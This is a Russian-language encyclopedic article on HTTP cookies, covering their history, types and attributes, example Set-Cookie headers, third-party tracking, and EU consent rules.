HTTP-куки ( также называемые веб-куки , интернет-куки , браузерные куки или просто куки ) — это небольшие блоки данных , создаваемые веб-сервером , когда пользователь просматривает веб -сайт , и размещаемые на компьютере или другом устройстве пользователя веб-браузером пользователя . Куки размещаются на устройстве, используемом для доступа к веб-сайту, и во время сеанса на устройстве пользователя может быть размещено более одного куки.
Файлы cookie выполняют полезные и иногда необходимые функции в Интернете . Они позволяют веб-серверам хранить информацию о состоянии (например, товары, добавленные в корзину в интернет-магазине ) на устройстве пользователя или отслеживать активность пользователя в браузере (включая нажатие определенных кнопок, вход в систему или запись посещенных страниц в прошлом ). [1] Их также можно использовать для сохранения информации, которую пользователь ранее ввел в поля форм , например, имен, адресов, паролей и номеров платежных карт для последующего использования.
Файлы cookie аутентификации обычно используются веб-серверами для подтверждения того, что пользователь вошел в систему, и с какой учетной записью он вошел в систему. Без файла cookie пользователям пришлось бы аутентифицировать себя, входя на каждую страницу, содержащую конфиденциальную информацию, к которой они хотят получить доступ. Безопасность файла cookie аутентификации обычно зависит от безопасности веб-сайта, выпустившего файл, и веб-браузера пользователя, а также от того, зашифрованы ли данные файла cookie . Уязвимости безопасности могут позволить злоумышленнику прочитать данные файла cookie , использовать их для получения доступа к данным пользователя или использовать для получения доступа (с учетными данными пользователя) к веб-сайту, к которому принадлежит файл cookie (см. примеры межсайтового скриптинга и подделки межсайтовых запросов ). [2]
Отслеживающие файлы cookie , и особенно сторонние отслеживающие файлы cookie, обычно используются как способ составления долгосрочных записей истории просмотров отдельных лиц — потенциальная проблема конфиденциальности , которая побудила европейских [3] и американских законодателей принять меры в 2011 году. [4] [5] Европейское законодательство требует, чтобы все веб-сайты, ориентированные на государства-члены Европейского Союза, получали « осознанное согласие » от пользователей перед сохранением необязательных файлов cookie на их устройствах.
Термин cookie был придуман программистом веб-браузеров Лу Монтулли . Он произошел от термина magic cookie , который представляет собой пакет данных, который программа получает и отправляет обратно без изменений, используемый программистами Unix . [6] [7]
Волшебные куки-файлы уже использовались в вычислительной технике, когда программисту Лу Монтулли пришла в голову идея использовать их в веб-коммуникациях в июне 1994 года. [8] В то время он был сотрудником Netscape Communications , которая разрабатывала приложение электронной коммерции для MCI . Винт Серф и Джон Кленсин представляли MCI в технических обсуждениях с Netscape Communications. MCI не хотела, чтобы ее серверам приходилось сохранять частичные состояния транзакций, что привело их к тому, что они попросили Netscape найти способ сохранить это состояние на компьютере каждого пользователя. Куки-файлы предоставили решение проблемы надежной реализации виртуальной корзины покупок . [9] [10]
Вместе с Джоном Джаннандреа Монтулли написал первоначальную спецификацию файлов cookie Netscape в том же году. Версия 0.9beta Mosaic Netscape , выпущенная 13 октября 1994 года, [11] [12] поддерживала файлы cookie. [10] Первое использование файлов cookie (вне лабораторий) заключалось в проверке того, посещали ли посетители веб-сайта Netscape этот сайт. Монтулли подал заявку на патент на технологию файлов cookie в 1995 году, которая была выдана в 1998 году. [13] Поддержка файлов cookie была интегрирована в Internet Explorer в версии 2, выпущенной в октябре 1995 года. [14]
В то время появление файлов cookie не было широко известно общественности. В частности, файлы cookie принимались по умолчанию, и пользователи не уведомлялись об их наличии. [15] Общественность узнала о файлах cookie после того, как Financial Times опубликовала статью о них 12 февраля 1996 года. [16] В том же году файлы cookie привлекли большое внимание СМИ, особенно из-за потенциальных последствий для конфиденциальности. Файлы cookie обсуждались на двух слушаниях Федеральной торговой комиссии США в 1996 и 1997 годах. [2]
Разработка формальных спецификаций cookie уже велась. В частности, первые обсуждения формальной спецификации начались в апреле 1995 года в списке рассылки www-talk . Была сформирована специальная рабочая группа в рамках Internet Engineering Task Force (IETF). Брайан Белендорф и Дэвид Кристол предложили два альтернативных предложения по внедрению состояния в HTTP-транзакции соответственно. Но группа, возглавляемая самим Кристолом и Лу Монтулли, вскоре решила использовать спецификацию Netscape в качестве отправной точки. В феврале 1996 года рабочая группа определила сторонние cookie как значительную угрозу конфиденциальности. Спецификация, разработанная группой, в конечном итоге была опубликована как RFC 2109 в феврале 1997 года. В ней указано, что сторонние cookie либо вообще не разрешены, либо, по крайней мере, не включены по умолчанию. [17] В это время рекламные компании уже использовали сторонние cookie. Рекомендация о сторонних cookie RFC 2109 не была принята Netscape и Internet Explorer. RFC 2109 был заменен RFC 2965 в октябре 2000 года.
RFC 2965 добавил Set-Cookie2 поле заголовка , которое неофициально стало называться «куки-файлы в стиле RFC 2965» в отличие от исходного Set-Cookieполя заголовка, которое называлось «куки-файлы в стиле Netscape». [18] [19] Set-Cookie2 Однако оно использовалось редко и было исключено из RFC 6265 в апреле 2011 года, который был написан как окончательная спецификация для куки-файлов, используемых в реальном мире. [20] Ни один современный браузер не распознает Set-Cookie2поле заголовка. [21]
Сеансовый cookie-файл (также известный как in-memory cookie , временный cookie или непостоянный cookie ) существует только во временной памяти, пока пользователь перемещается по веб-сайту. [22] Сеансовые cookie-файлы истекают или удаляются, когда пользователь закрывает веб-браузер. [23] Сеансовые cookie-файлы идентифицируются браузером по отсутствию назначенной им даты истечения срока действия.
Постоянный файл cookie истекает в определенную дату или по истечении определенного периода времени. В течение срока действия постоянного файла cookie, установленного его создателем, его информация будет передаваться на сервер каждый раз, когда пользователь посещает веб-сайт, к которому он принадлежит, или каждый раз, когда пользователь просматривает ресурс, принадлежащий этому веб-сайту, с другого веб-сайта (например, рекламу).
По этой причине постоянные файлы cookie иногда называют отслеживающими файлами cookie [24] [25] , поскольку они могут использоваться рекламодателями для записи информации о привычках пользователя при просмотре веб-страниц в течение длительного периода времени. Постоянные файлы cookie также используются для таких целей, как сохранение пользователей вошедшими в свои учетные записи на веб-сайтах, чтобы избежать повторного ввода учетных данных при каждом посещении.
Защищенный файл cookie может передаваться только по зашифрованному соединению (например, HTTPS ). Он не может передаваться по незашифрованным соединениям (например, HTTP ). Это снижает вероятность кражи файла cookie путем подслушивания . Файл cookie становится безопасным, если Secureв него добавить флаг.
Файл cookie, доступный только через http, не может быть доступен клиентским API, таким как JavaScript . Это ограничение устраняет угрозу кражи файлов cookie с помощью межсайтового скриптинга (XSS). [26] Однако файл cookie остается уязвимым для атак с использованием межсайтовой трассировки (XST) и подделки межсайтовых запросов (CSRF). Файл cookie получает эту характеристику путем добавления HttpOnlyфлага в файл cookie.
В 2016 году в версии 51 Google Chrome был представлен [27] новый тип файлов cookie с атрибутом SameSiteс возможными значениями Strict, Laxили None. [28] С атрибутом SameSite=Strictбраузеры будут отправлять файлы cookie только на целевой домен, который совпадает с исходным доменом. Это эффективно смягчит атаки подделки межсайтовых запросов (CSRF). [29] С SameSite=Laxбраузеры будут отправлять файлы cookie с запросами на целевой домен, даже если он отличается от исходного домена, но только для безопасных запросов, таких как GET (POST небезопасен), а не для сторонних файлов cookie (внутри iframe). Атрибут SameSite=Noneразрешит сторонние (межсайтовые) файлы cookie, однако большинство браузеров требуют атрибута безопасности для файлов cookie SameSite=None. [30]
Файл cookie того же сайта включен в новый проект RFC «Файлы cookie: Механизм управления состоянием HTTP» [31] для обновления RFC 6265 (в случае одобрения).
Chrome, Firefox и Edge начали поддерживать файлы cookie Same-site. [32] Ключевым моментом развертывания является обработка существующих файлов cookie без определенного атрибута SameSite. Chrome обрабатывает эти существующие файлы cookie так, как будто SameSite=None, что позволит всем веб-сайтам/приложениям работать как прежде. Google намеревался изменить это значение по умолчанию SameSite=Laxв Chrome 80, выпуск которого запланирован на февраль 2020 года, [33] но из-за возможного сбоя в работе тех приложений/сайтов, которые полагаются на сторонние/межсайтовые файлы cookie, и обстоятельств COVID-19 Google отложил это изменение до Chrome 84. [34] [35]
Supercookie — это файл cookie с происхождением из домена верхнего уровня (например, .com) или публичного суффикса (например, .co.uk). Обычные файлы cookie, напротив, имеют происхождение из определенного доменного имени, например example.com, .
Supercookie могут представлять потенциальную угрозу безопасности и поэтому часто блокируются веб-браузерами. Если браузер их разблокирует, злоумышленник, контролирующий вредоносный веб-сайт, может установить supercookie и потенциально нарушить или выдать себя за законные запросы пользователя на другой веб-сайт, который использует тот же домен верхнего уровня или публичный суффикс, что и вредоносный веб-сайт. Например, supercookie с источником .com, может злонамеренно повлиять на запрос, сделанный на example.com, даже если файл cookie не был получен из example.com. Это может использоваться для поддельных входов или изменения информации о пользователе.
Public Suffix List [36] помогает снизить риск, который представляют суперкуки. Public Suffix List — это кросс-вендорная инициатива, направленная на предоставление точного и актуального списка суффиксов доменных имен. Старые версии браузеров могут не иметь актуального списка и, следовательно, будут уязвимы для суперкуки с определенных доменов.
Термин supercookie иногда используется для отслеживания технологий, которые не полагаются на HTTP-cookie. Два таких механизма supercookie были обнаружены на веб-сайтах Microsoft в августе 2011 года: синхронизация cookie, которая повторно порождала MUID (уникальный идентификатор машины) cookie, и ETag cookie. [37] Из-за внимания СМИ Microsoft позже отключила этот код. [38] В сообщении в блоге 2021 года Mozilla использовала термин supercookie для обозначения использования кэша браузера как средства отслеживания пользователей на сайтах. [39]
Файлы cookie-зомби — это данные и код, которые веб-сервер размещает на компьютере посетителя или другом устройстве в скрытом месте за пределами выделенного места хранения файлов cookie веб-браузера посетителя , и которые автоматически воссоздают файл cookie HTTP как обычный файл cookie после удаления исходного файла cookie. Файл cookie-зомби может храниться в нескольких местах, например, в общем объекте Flash Local , веб-хранилище HTML5 и других клиентских и даже серверных местах, и когда в одном из мест обнаруживается отсутствие, отсутствующий экземпляр воссоздается кодом JavaScript с использованием данных, хранящихся в других местах. [40] [41]
Стена cookie всплывает на веб-сайте и информирует пользователя об использовании cookie веб-сайтом. У нее нет возможности отклонить, и веб-сайт недоступен без отслеживающих cookie.
Файл cookie состоит из следующих компонентов: [42] [43] [44]
Secureи HttpOnly).Файлы cookie изначально были введены для того, чтобы предоставить пользователям возможность записывать товары, которые они хотят купить, перемещаясь по веб-сайту (виртуальная корзина для покупок или корзина для покупок ). [9] [10] Однако сегодня содержимое корзины покупок пользователя обычно хранится в базе данных на сервере, а не в файле cookie на клиенте. Чтобы отслеживать, какой пользователь назначен на ту или иную корзину покупок, сервер отправляет клиенту файл cookie, содержащий уникальный идентификатор сеанса (обычно это длинная строка случайных букв и цифр). Поскольку файлы cookie отправляются на сервер с каждым запросом клиента, этот идентификатор сеанса будет отправляться обратно на сервер каждый раз, когда пользователь посещает новую страницу на веб-сайте, что позволяет серверу узнать, какую корзину покупок отображать пользователю.
Другое популярное использование файлов cookie — вход на веб-сайты. Когда пользователь посещает страницу входа на веб-сайт, веб-сервер обычно отправляет клиенту файл cookie, содержащий уникальный идентификатор сеанса. Когда пользователь успешно входит в систему, сервер запоминает, что этот конкретный идентификатор сеанса был аутентифицирован, и предоставляет пользователю доступ к своим сервисам.
Поскольку сеансовые куки содержат только уникальный идентификатор сеанса, это делает объем личной информации, которую веб-сайт может сохранить о каждом пользователе, практически безграничным — веб-сайт не ограничен ограничениями относительно того, насколько большим может быть куки. Сеансовые куки также помогают улучшить время загрузки страницы, поскольку объем информации в сеансовом куки невелик и требует небольшой пропускной способности.
Файлы cookie могут использоваться для запоминания информации о пользователе, чтобы с течением времени показывать пользователю соответствующий контент. Например, веб-сервер может отправить файл cookie, содержащий имя пользователя, которое последний раз использовалось для входа на веб-сайт, чтобы оно могло быть заполнено автоматически при следующем входе пользователя.
Многие веб-сайты используют файлы cookie для персонализации на основе предпочтений пользователя. Пользователи выбирают свои предпочтения, вводя их в веб-форму и отправляя форму на сервер. Сервер кодирует предпочтения в файле cookie и отправляет его обратно в браузер. Таким образом, каждый раз, когда пользователь заходит на страницу на веб-сайте, сервер может персонализировать страницу в соответствии с предпочтениями пользователя. Например, поисковая система Google когда-то использовала файлы cookie, чтобы позволить пользователям (даже незарегистрированным) решать, сколько результатов поиска на странице они хотят видеть. Кроме того, DuckDuckGo использует файлы cookie, чтобы позволить пользователям устанавливать предпочтения просмотра, такие как цвета веб-страницы.
Отслеживающие файлы cookie используются для отслеживания привычек пользователей при просмотре веб-страниц. Это также можно сделать в некоторой степени, используя IP-адрес компьютера, запрашивающего страницу, или поле referer заголовка HTTP- запроса, но файлы cookie обеспечивают большую точность. Это можно продемонстрировать следующим образом:
Анализируя этот файл журнала, можно выяснить, какие страницы посетил пользователь, в какой последовательности и как долго.
Корпорации эксплуатируют привычки пользователей в Интернете, отслеживая файлы cookie для сбора информации о привычках покупки. The Wall Street Journal обнаружил, что пятьдесят лучших веб-сайтов Америки установили в среднем шестьдесят четыре единицы отслеживающей технологии на компьютеры, что в общей сложности привело к 3180 файлам отслеживания. [45] Затем данные могут быть собраны и проданы корпорациям, участвующим в торгах.
Файлы cookie — это произвольные фрагменты данных, обычно выбираемые и сначала отправляемые веб-сервером и сохраняемые на клиентском компьютере веб-браузером. Затем браузер отправляет их обратно на сервер с каждым запросом, вводя состояния (память о предыдущих событиях) в HTTP- транзакции, которые в противном случае не имели бы состояния. Без файлов cookie каждое извлечение веб-страницы или компонента веб-страницы было бы изолированным событием, в значительной степени не связанным со всеми другими просмотрами страниц, сделанными пользователем на веб-сайте. Хотя файлы cookie обычно устанавливаются веб-сервером, они также могут быть установлены клиентом с помощью языка сценариев, такого как JavaScript (если только не установлен флаг файла cookie HttpOnly, в этом случае файл cookie не может быть изменен языками сценариев).
Спецификации файлов cookie [46] [47] требуют, чтобы браузеры соответствовали следующим требованиям для поддержки файлов cookie:
Файлы cookie устанавливаются с помощью Set-Cookie поля заголовка , отправляемого в HTTP-ответе с веб-сервера. Это поле заголовка указывает веб-браузеру сохранять файл cookie и отправлять его обратно в будущих запросах на сервер (браузер проигнорирует это поле заголовка, если он не поддерживает файлы cookie или отключил файлы cookie).
Например, браузер отправляет свой первый HTTP-запрос на домашнюю страницу веб www.example.org-сайта:
GET /index.html HTTP / 1.1 Хост : www.example.org ...Сервер отвечает двумя Set-Cookieполями заголовка:
HTTP / 1.0 200 OK Тип содержимого : text/html Установить cookie : theme=light Установить cookie : sessionToken=abc123; Истекает=Ср, 09 июня 2021 г. 10:18:14 GMT ...HTTP-ответ сервера содержит содержимое домашней страницы веб-сайта. Но он также дает браузеру указание установить два файла cookie. Первый, theme , считается сеансовым файлом cookie , поскольку у него нет атрибута Expiresor Max-Age. Сеансовые файлы cookie должны удаляться браузером при его закрытии. Второй, sessionToken , считается постоянным файлом cookie , поскольку содержит атрибут Expires, который дает браузеру указание удалить файл cookie в определенную дату и время.
Далее браузер отправляет еще один запрос на посещение spec.htmlстраницы на сайте. Этот запрос содержит Cookieполе заголовка, которое содержит два cookie-файла, которые сервер поручил браузеру установить:
GET /spec.html HTTP / 1.1 Хост : www.example.org Файл cookie : theme=light; sessionToken=abc123 …Таким образом, сервер знает, что этот HTTP-запрос связан с предыдущим. Сервер ответит, отправив запрошенную страницу, возможно, включив больше Set-Cookieполей заголовков в HTTP-ответ, чтобы указать браузеру добавить новые файлы cookie, изменить существующие файлы cookie или удалить существующие файлы cookie. Чтобы удалить файл cookie, сервер должен включить Set-Cookieполе заголовка с датой истечения срока действия в прошлом.
Значение куки может состоять из любого печатного символа ASCII! ( через ~, Unicode \u0021 через \u007E), за исключением ,и ;и пробельных символов . Имя куки исключает те же символы, а также =, поскольку это разделитель между именем и значением. Стандарт куки RFC 2965 более ограничителен, но не реализован браузерами.
Термин «крошка печенья» иногда используется для обозначения пары «имя-значение» файла cookie. [48]
Файлы cookie также могут быть установлены с помощью скриптовых языков, таких как JavaScript , которые запускаются в браузере. В JavaScript для этой цели используется объект document.cookie. Например, инструкция document.cookie = "temperature=20"создает файл cookie с именем температура и значением 20 . [49]
В дополнение к имени и значению, файлы cookie могут также иметь один или несколько атрибутов. Браузеры не включают атрибуты cookie в запросы к серверу — они только отправляют имя и значение файла cookie. Атрибуты cookie используются браузерами для определения того, когда следует удалить файл cookie, заблокировать файл cookie или отправить файл cookie на сервер.
Атрибуты Domainи Pathопределяют область действия cookie. По сути, они сообщают браузеру, какому веб-сайту принадлежит cookie. По соображениям безопасности cookie могут быть установлены только на верхнем домене текущего ресурса и его поддоменах, но не на другом домене и его поддоменах. Например, веб-сайт example.orgне может установить cookie с доменом , foo.comпоскольку это позволит веб-сайту example.orgконтролировать cookie домена foo.com.
Если атрибуты cookie Domainи Pathне указаны сервером, они по умолчанию соответствуют домену и пути запрошенного ресурса. [50] Однако в большинстве браузеров есть разница между cookie, установленным foo.comбез домена, и cookie, установленным с доменом foo.com. В первом случае cookie будет отправлен только для запросов к foo.com, также известный как host-only cookie. Во втором случае также включены все поддомены (например, docs.foo.com). [51] [52] Заметным исключением из этого общего правила является Edge до Windows 10 RS3 и Internet Explorer до IE 11 и Windows 10 RS4 (апрель 2018 г.), которые всегда отправляют cookie на поддомены независимо от того, был ли cookie установлен с доменом или без него. [53]
Ниже приведен пример некоторых Set-Cookieполей заголовков в HTTP-ответе веб-сайта после входа пользователя в систему. HTTP-запрос был отправлен на веб-страницу в docs.foo.comпределах поддомена:
HTTP / 1.0 200 OK Set-Cookie : LSID=DQAAAK…Eaem_vYg; Path=/accounts; Истекает=Ср, 13 Янв 2021 22:23:01 GMT; Защищено; Только Http Set-Cookie : HSID=AYQEVn…DKrdst; Домен=.foo.com; Path=/; Истекает=Ср, 13 Янв 2021 22:23:01 GMT; Только Http Set-Cookie : SSID=Ap4P…GTEq; Домен=foo.com; Path=/; Истекает=Ср, 13 Янв 2021 22:23:01 GMT; Защищено; Только Http …Первый файл cookie, LSID, не имеет Domainатрибута и имеет Pathатрибут, установленный на /accounts. Это говорит браузеру использовать файл cookie только при запросе страниц, содержащихся в docs.foo.com/accounts(домен выводится из домена запроса). Два других файла cookie, HSIDи SSID, будут использоваться, когда браузер запрашивает любой поддомен в .foo.comна любом пути (например, www.foo.com/bar). Предварительная точка является необязательной в последних стандартах, но может быть добавлена для совместимости с реализациями на основе RFC 2109. [54]
Атрибут Expiresопределяет конкретную дату и время, когда браузер должен удалить cookie. Дата и время указываются в форме Wdy, DD Mon YYYY HH:MM:SS GMT, или в форме Wdy, DD Mon YY HH:MM:SS GMTдля значений YY, где YY больше или равно 0 и меньше или равно 69. [55]
В качестве альтернативы Max-Ageатрибут может использоваться для установки срока действия cookie как интервала секунд в будущем относительно времени получения cookie браузером. Ниже приведен пример трех Set-Cookieполей заголовка, которые были получены с веб-сайта после входа пользователя в систему:
HTTP / 1.0 200 OK Установить-Cookie : lu=Rg3vHJZnehYLjVg7qi3bZjzg; Истекает=Вт, 15 Янв 2013 21:47:38 GMT; Путь=/; Домен=.example.com; HttpOnly Установить-Cookie : made_write_conn=1295214458; Путь=/; Домен=.example.com Установить-Cookie : reg_fb_gate=deleted; Истекает=Чт, 01 Янв 1970 00:00:01 GMT; Путь=/; Домен=.example.com; HttpOnlyПервый файл cookie, lu, истекает 15 января 2013 года. До этого времени он будет использоваться клиентским браузером. Второй файл cookie, made_write_conn, не имеет даты истечения срока действия, что делает его сеансовым файлом cookie. Он будет удален после того, как пользователь закроет свой браузер. reg_fb_gateЗначение третьего файла cookie, , изменено на удалено , со сроком действия в прошлом. Браузер немедленно удалит этот файл cookie, поскольку срок его действия уже в прошлом. Обратите внимание, что файл cookie будет удален только в том случае, если атрибуты домена и пути в Set-Cookieполе соответствуют значениям, использованным при создании файла cookie.
По состоянию на 2016 год [обновлять]Internet Explorer не поддерживал Max-Age. [56] [57]
Атрибуты Secureи HttpOnlyне имеют связанных значений. Скорее, наличие только имен их атрибутов указывает на то, что их поведение должно быть включено.
Атрибут Secureпредназначен для ограничения обмена файлами cookie зашифрованной передачей, указывая браузерам использовать файлы cookie только через защищенные/зашифрованные соединения. Однако если веб-сервер устанавливает файл cookie с защищенным атрибутом из незащищенного соединения, файл cookie все равно может быть перехвачен при отправке пользователю с помощью атак типа «человек посередине» . Поэтому для максимальной безопасности файлы cookie с защищенным атрибутом следует устанавливать только через защищенное соединение.
Атрибут HttpOnlyпредписывает браузерам не раскрывать файлы cookie через каналы, отличные от HTTP (и HTTPS) запросов. Это означает, что файл cookie не может быть доступен через клиентские языки сценариев (в частности, JavaScript ), и, следовательно, не может быть легко украден через межсайтовый скриптинг (проникающий метод атаки). [58]
Большинство современных браузеров поддерживают файлы cookie и позволяют пользователю отключить их. Ниже приведены распространенные варианты: [59]
Также существуют дополнительные инструменты для управления разрешениями на использование файлов cookie. [60] [61] [62] [63]
Файлы cookie имеют некоторые важные последствия для конфиденциальности и анонимности веб-пользователей. Хотя файлы cookie отправляются только на сервер, на котором они установлены, или на сервер в том же домене Интернета, веб-страница может содержать изображения или другие компоненты, хранящиеся на серверах в других доменах. Файлы cookie, которые устанавливаются во время извлечения этих компонентов, называются сторонними файлами cookie . Сторонний файл cookie принадлежит домену, отличному от того, который отображается в адресной строке. Этот тип файлов cookie обычно появляется, когда веб-страницы содержат контент с внешних веб-сайтов, например, рекламные баннеры . Это открывает возможность отслеживания истории просмотров пользователя и используется рекламодателями для показа релевантной рекламы каждому пользователю.
В качестве примера предположим, что пользователь посещает www.example.org. Этот веб-сайт содержит рекламу от ad.foxytracking.com, которая при загрузке устанавливает файл cookie, принадлежащий домену рекламы ( ad.foxytracking.com). Затем пользователь посещает другой веб-сайт, www.foo.com, который также содержит рекламу от ad.foxytracking.com, и устанавливает файл cookie, принадлежащий этому домену ( ad.foxytracking.com). В конечном итоге оба этих файла cookie будут отправлены рекламодателю при загрузке его рекламы или посещении его веб-сайта. Затем рекламодатель может использовать эти файлы cookie для создания истории просмотров пользователя на всех веб-сайтах, на которых размещена реклама этого рекламодателя, с помощью поля заголовка HTTP referer .
По состоянию на 2014 год [обновлять]некоторые веб-сайты устанавливали файлы cookie, доступные для чтения более чем 100 сторонним доменам. [64] В среднем один веб-сайт устанавливал 10 файлов cookie, а максимальное количество файлов cookie (основных и сторонних) достигало более 800. [65]
Более старые стандарты для файлов cookie, RFC 2109 [17] и RFC 2965, рекомендуют браузерам защищать конфиденциальность пользователей и не разрешать обмен файлами cookie между серверами по умолчанию. Однако более новый стандарт, RFC 6265, явно разрешает агентам пользователей реализовывать любую политику использования сторонних файлов cookie по своему усмотрению. Большинство современных веб-браузеров содержат настройки конфиденциальности , которые могут блокировать сторонние файлы cookie. С 2020 года Apple Safari [66] , Firefox [67] и Brave [ 68] блокируют все сторонние файлы cookie по умолчанию. Safari позволяет встроенным сайтам использовать Storage Access API для запроса разрешения на установку основных файлов cookie. В мае 2020 года в Google Chrome 83 появились новые функции для блокировки сторонних файлов cookie по умолчанию в режиме инкогнито для приватного просмотра, что делает блокировку необязательной во время обычного просмотра. В том же обновлении также добавлена возможность блокировать основные файлы cookie. [69] В апреле 2024 года Chrome отложил блокировку сторонних файлов cookie по умолчанию до 2025 года. [70] В июле 2024 года Google объявил о плане избегать блокировки сторонних файлов cookie по умолчанию и вместо этого предлагать пользователям разрешить сторонние файлы cookie. [71]
Возможность создания профиля пользователей представляет собой угрозу конфиденциальности, особенно когда отслеживание осуществляется на нескольких доменах с использованием сторонних файлов cookie. По этой причине в некоторых странах действуют законы о файлах cookie.
Операторы веб-сайтов, которые не раскрывают потребителям использование сторонних файлов cookie, рискуют подорвать доверие потребителей, если использование файлов cookie будет обнаружено. Наличие четкого раскрытия (например, в политике конфиденциальности ) имеет тенденцию устранять любые негативные последствия такого обнаружения файлов cookie. [72] [ неудавшаяся проверка ]
Правительство США установило строгие правила установки файлов cookie в 2000 году после того, как стало известно, что управление по борьбе с наркотиками Белого дома использовало файлы cookie для отслеживания пользователей компьютеров, просматривающих его онлайн-рекламу против наркотиков. В 2002 году активист по защите конфиденциальности Дэниел Брандт обнаружил, что ЦРУ оставляло постоянные файлы cookie на компьютерах, которые посещали его веб-сайт. Когда ему сообщили, что оно нарушает политику, ЦРУ заявило, что эти файлы cookie не были установлены намеренно, и прекратило их установку. 25 декабря 2005 года Брандт обнаружил, что Агентство национальной безопасности (АНБ) оставляло два постоянных файла cookie на компьютерах посетителей из-за обновления программного обеспечения. Получив информацию, АНБ немедленно отключило файлы cookie. [73]
В 2002 году Европейский союз принял Директиву о конфиденциальности и электронных коммуникациях (директива e-Privacy), политику, требующую согласия конечных пользователей на размещение файлов cookie и аналогичных технологий для хранения и доступа к информации на оборудовании пользователей. [74] [75] В частности, пункт 3 статьи 5 предписывает, что хранение технически ненужных данных на компьютере пользователя может осуществляться только в том случае, если пользователю предоставлена информация о том, как эти данные используются, и пользователю предоставлена возможность отклонить эту операцию хранения. Директива не требует от пользователей авторизации или предоставления им уведомления об использовании файлов cookie, которые функционально необходимы для предоставления запрошенной ими услуги, например, для сохранения настроек, сохранения сеансов входа в систему или запоминания того, что находится в корзине покупок пользователя. [76]
В 2009 году закон был изменен Директивой 2009/136/EC, которая включала изменение Статьи 5, Параграфа 3. Вместо того, чтобы предоставить пользователям возможность отказаться от хранения файлов cookie, пересмотренная Директива требует получения согласия на хранение файлов cookie. [75] Определение согласия имеет перекрестную ссылку на определение в европейском законодательстве о защите данных, сначала Директиве о защите данных 1995 года, а затем Общем регламенте по защите данных (GDPR). Поскольку определение согласия было усилено в тексте GDPR, это имело эффект повышения качества согласия, требуемого теми, кто хранит и получает доступ к информации, такой как файлы cookie, на устройствах пользователей. Однако в деле, рассмотренном в соответствии с Директивой о защите данных, Суд Европейского союза позже подтвердил, что предыдущий закон подразумевал такое же сильное качество согласия, как и текущий инструмент. [77] В дополнение к требованию согласия, которое вытекает из хранения или доступа к информации на конечном устройстве пользователя, информация во многих файлах cookie будет считаться персональными данными только в соответствии с GDPR и потребует правового основания для обработки. Это имело место с Директивы о защите данных 1995 года, которая использовала идентичное определение персональных данных, хотя GDPR в пояснительном пункте 30 поясняет, что идентификаторы файлов cookie включены. Хотя не вся обработка данных в соответствии с GDPR требует согласия, характеристики поведенческой рекламы означают, что ее трудно или невозможно оправдать по каким-либо другим основаниям. [78] [79]
Согласие в соответствии с сочетанием GDPR и Директивы о конфиденциальности в электронном виде должно соответствовать ряду условий в отношении файлов cookie. [80] Оно должно быть свободно предоставлено и недвусмысленно: предварительно отмеченные поля были запрещены как Директивой о защите данных 1995 года [77] , так и GDPR (Преамбула 32). [81] GDPR конкретно указывает, что согласие должно быть «так же легко отозвать, как и дать», [81] что означает, что кнопка «отклонить все» должна быть так же легкодоступна с точки зрения кликов и видимости, как и кнопка «принять все». [80] Оно должно быть конкретным и информированным, что означает, что согласие касается конкретных целей использования этих данных, и все организации, желающие использовать это согласие, должны быть конкретно названы. [82] [83] Суд Европейского союза также постановил, что согласие должно быть «эффективным и своевременным», что означает, что оно должно быть получено до установки файлов cookie и начала обработки данных, а не после этого. [84]
Реакция отрасли была в основном негативной. Роберт Бонд из юридической фирмы Speechly Bircham описывает последствия как «далеко идущие и невероятно обременительные» для «всех британских компаний». Саймон Дэвис из Privacy International утверждает, что надлежащее исполнение «уничтожит всю отрасль». [85] Однако ученые отмечают, что обременительная природа всплывающих окон с файлами cookie проистекает из попытки продолжать использовать бизнес-модель с помощью запутанных запросов, которые могут быть несовместимы с GDPR. [78]
Академические исследования и регулирующие органы описывают широко распространенное несоблюдение закона. Исследование, в ходе которого было изучено 10 000 британских веб-сайтов, показало, что только 11,8% сайтов соблюдали минимальные юридические требования, и только 33,4% исследованных веб-сайтов предоставляли механизм отклонения файлов cookie, который был бы так же прост в использовании, как и их принятие. [80] Исследование 17 000 веб-сайтов показало, что 84% сайтов нарушали этот критерий, а также выяснилось, что многие из них устанавливали сторонние файлы cookie вообще без уведомления. [86] Британский регулятор, Управление комиссара по информации , заявил в 2019 году, что отраслевая «Структура прозрачности и согласия» от рекламной технологической группы Interactive Advertising Bureau «недостаточна для обеспечения прозрачности и справедливой обработки рассматриваемых персональных данных и, следовательно, также недостаточна для обеспечения свободного и осознанного согласия, что влечет за собой последствия для соответствия PECR [электронной конфиденциальности]». [82] Многие компании, продающие решения по обеспечению соответствия (платформы управления согласием), допускают их настройку явно незаконными способами, что, как отмечают ученые, создает вопросы относительно надлежащего распределения ответственности. [87]
Спецификация W3C под названием P3P была предложена для серверов, чтобы сообщать свою политику конфиденциальности браузерам, позволяя автоматическую, настраиваемую пользователем обработку. Однако лишь немногие веб-сайты реализуют эту спецификацию, и W3C прекратил работу над спецификацией. [88]
Большинство браузеров могут блокировать сторонние файлы cookie, чтобы повысить конфиденциальность и сократить отслеживание рекламными и отслеживающими компаниями, не оказывая отрицательного влияния на работу пользователя на всех сайтах. Некоторые сайты используют «стены cookie», которые делают доступ к сайту обусловленным разрешением файлов cookie либо технически в браузере, либо нажатием «принять», либо обоими способами. [89] В 2020 году Европейский совет по защите данных , состоящий из всех регуляторов ЕС по защите данных, заявил, что стены cookie являются незаконными.
Для того чтобы согласие было дано свободно, доступ к услугам и функциям не должен зависеть от согласия пользователя на хранение информации или получение доступа к информации, уже сохраненной на конечном оборудовании пользователя (так называемые стены cookie). [90]
У многих рекламных операторов есть возможность отказаться от поведенческой рекламы, используя общий файл cookie в браузере, останавливающий поведенческую рекламу. [91] [92] Однако это часто неэффективно против многих форм отслеживания, таких как отслеживание первой стороны, которое становится все популярнее, чтобы избежать влияния браузеров, блокирующих сторонние файлы cookie. [93] [94] Кроме того, если такую настройку сложнее установить, чем согласие на отслеживание, она по-прежнему нарушает условия Директивы о конфиденциальности в электронной форме. [80]
Большинство веб-сайтов используют файлы cookie в качестве единственных идентификаторов сеансов пользователей, поскольку другие методы идентификации веб-пользователей имеют ограничения и уязвимости. Если веб-сайт использует файлы cookie в качестве идентификаторов сеансов, злоумышленники могут выдавать себя за запросы пользователей, украв полный набор файлов cookie жертв. С точки зрения веб-сервера запрос злоумышленника имеет ту же аутентификацию, что и запросы жертвы; таким образом, запрос выполняется от имени сеанса жертвы.
Здесь перечислены различные сценарии кражи файлов cookie и перехвата сеанса пользователя (даже без кражи файлов cookie пользователя), которые работают с веб-сайтами, использующими исключительно файлы cookie HTTP для идентификации пользователя.
